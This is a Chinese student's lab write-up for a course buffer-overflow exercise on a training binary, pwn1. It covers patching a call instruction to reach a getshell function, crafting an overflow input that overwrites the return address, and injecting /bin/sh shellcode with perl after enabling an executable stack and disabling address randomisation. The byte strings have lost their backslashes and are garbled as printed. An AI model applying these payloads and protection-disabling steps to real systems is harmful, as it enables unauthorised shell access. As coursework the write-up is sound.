• Exp1 PC平台逆向破解


    一、 直接修改程序机器指令,改变程序执行流程

    1.首先下载pwn1.zip到pc和kali的共享文件夹下

    然后在kali的/mnt/hgfs/下的共享文件夹下,用unzip命令和mv命令解压和移动pwn1文件至实验exp1文件下。

    2.了解pwn1的作用
    命令行输入objdump -d pwn1

    pwn1程序主要有main、foo、getshell这三个函数,其中foo函数功能为输出输入的字符串,getshell函数功能为打开一个shell,原程序中main函数只调用了foo函数,也就是我们输入什么内容,pwn1会通过读入,再打印出来,但是函数foo,这个函数有Buffer overflow漏洞

    3.修改程序机器指令

    在上面照片标红的地方,我们可以看到
    80484b5: e8 d7 ff ff ff call 8048491
    根据老师的实验指导书,将调用的foo函数改为getshell,即修改原地址d7ffffff为c3ffffff

    4.修改d7ffffff为c3ffffff

    但是出现了问题!
    问题是在以16进制浏览pwn2时,发现并不能按照老师的指导书,通过/e8d7
    找到。

    因为e8 和d7分开了,所以并没有检测到,所以我们通过/d7ff找到。
    修改成c3ff。
    注意:此时还需要转换为原格式 :%!xxd -r再保存退出

    5.再通过objdump -d pwn2查看是否修改成功

    显示修改成功

    6.效果

    ./pwn2

    二、通过构造输入参数,造成BOF攻击,改变程序执行流

    1.反汇编pwn,了解程序的基本功能

    NOP:No Operation,空操作,作用就是直接跳到下一指令。对应的机器码为90。
    JNE:结果不为零(或不相等)则跳转。对应的机器码为75。
    JE:结果为零(或相等)则跳转。对应的机器码为74。
    JMP:无条件跳转。对应的机器码为对应的eb。
    CMP: cmp是比较指令,cmp的功能相当于减法指令。它不保存结果,只是影响相应的标志位。其他的指令通过识别这些被影响的标志位来得知比较结果。
    。对应的机器码为83。

    2.确认输入字符串哪几个字符会覆盖到返回地址


    通过分析上面两个eip 内容分别为0x34535535和0x34333231,
    也就是说明我们应该将getshell函数的入口地址放在第二次输入1234的位置。

    3.构造输入字符串

    于是我们通过输入perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input来生成这样的文件。

    4.通过管道符|,将input文件作为pwn1的输入

    可以通过ls来查看当前文件夹下的内容

    三、注入Shellcode并执行!!!以下内容已经跨过大坑,可放心食用

    1.准备工作

    先利用apt-get install execstack命令安装execstack软件包

    修改些设置。

    execstack -s pwn1  //设置堆栈可执行
    execstack -q pwn1    //查询文件的堆栈是否可执行X pwn1
    more /proc/sys/kernel/randomize_va_space
    echo "0" > /proc/sys/kernel/randomize_va_space  //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space
    
    2.构造要注入的payload

    注意!!!

    直接复制使用这段shellcode即可

     perl -e 'print "A" x 32;print "x1x2x3x4x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    
    

    这样我们就得到了一个input_shellcode

    3.终端注入这段攻击buf并调试进程

    终端注入这段攻击buf

    (cat input_shellcode;cat) | ./pwn1
    

    再开另外一个终端,用gdb来调试pwn1这个进程。

    ps -ef | grep pwn1
    

    启动gdb调试这个进程
    attach 上面图片标记的地址
    注:每个人都不一样

    显示第二个红线标记的内容才算成功哦
    注意:在第一个终端,一定不要先按回车,要不然ps -ef | grep pwn1会找不到进程

    info r esp
    

    会得到esp的地址 address_A

    x/16x "address_A'
    

    gdb的x命令,查看内存
    格式:x /nfu
    16x是以16进制格式哦

    就会发现0x04030201啦!!!

    "address_A'就是返回地址的位置,在我这里是0xffffd6ec。shellcode就挨着,所以地址是0xffffd6f0
    0xffffd6ec+4=0xffffd6f0???应该是这样的
    高士淳自说自语的安慰自己找到了真相

    4.试一下就成功的

    然后就是将shellcode改一下,把之前的4321改成d6f0的地址

    perl -e 'print "A" x 32;print "xf0xd6xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    

    再输入

    (cat input_shellcode;cat) | ./pwn1
    

    回车之后就可以执行命令了,比如说pwd

    5.结合nc模拟远程攻击

    意思就是两个linux做实验,A为靶机(kali),B为攻击机(ubuntu)
    nc是啥?
    nc命令的作用
    实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
    端口的扫描,nc可以作为client发起TCP或UDP连接
    机器之间传输文件

    !!!雷区提醒
    只能在本机两个ter互相玩,没法两个机器互相玩,
    会提示Segmentation fault,也就是溢出。

    四、回答问题

    1. 实验收获与感想
      本次实验主要内容是针对缓冲区溢出进行攻击,修改返回值,但是前提条件是有漏洞,也就是老师开篇提到的Buffer overflow漏洞,个人理解就是攻击者可以用超出分配内存的部分,执行一些命令。
      本次实验老师要求的内容是到第四部分,网络对抗,是有攻击,有防御,所以存在针对缓存区溢出攻击的防御方法,Bof攻击防御技术。
      2.什么是漏洞?漏洞有什么危害?
      漏洞是啥呢?不清楚啊,大家都在说漏洞有危害,漏洞很可怕,但是漏洞具体是啥呢?SQL注入?缓冲区溢出?我也不清楚,我觉得应该是程序员留下的逻辑上的、物理硬件上的缺陷,攻击者为了一些目的,揪着程序员们的小毛病,挑刺。不过不可否认的是,一门艺术,就应该有交流,有来有回,有攻有防,这样才能发展迅速,就像冷战的苏美?甘于平凡的我发出不甘的叫喊,真烦,我还得多学一门课。
      漏洞有啥危害?!!!本人菜,密码弱,腾讯云的服务器被干了,密码被人改了,写的菜鸡代码被人删了,算不算危害?如果这算的话,我觉得我和漏洞势不两立,所以密码弱算不算漏洞?如果不算的话,那好像目前没遇到被人用漏洞攻击的事情,道听途说,网上见闻的漏洞事件很多,但是没遇到过,所以也没切身感受过漏洞的危害,我想话筒还是留给受害人的好。
  • 相关阅读:
    连续型随机变量
    离散型随机变量
    vue1.0生命周期
    vue2.0生命周期函数
    vue2.0 vue.set()
    vue2.0 vue.extend()的拓展
    vue2.0 自定义指令详解
    vue2.0 v-model指令
    vue2.0排序应该注意的问题
    vue2.0版本指令v-if与v-show的区别
  • 原文地址:https://www.cnblogs.com/gsc20175307/p/12380035.html
Copyright © 2020-2023  润新知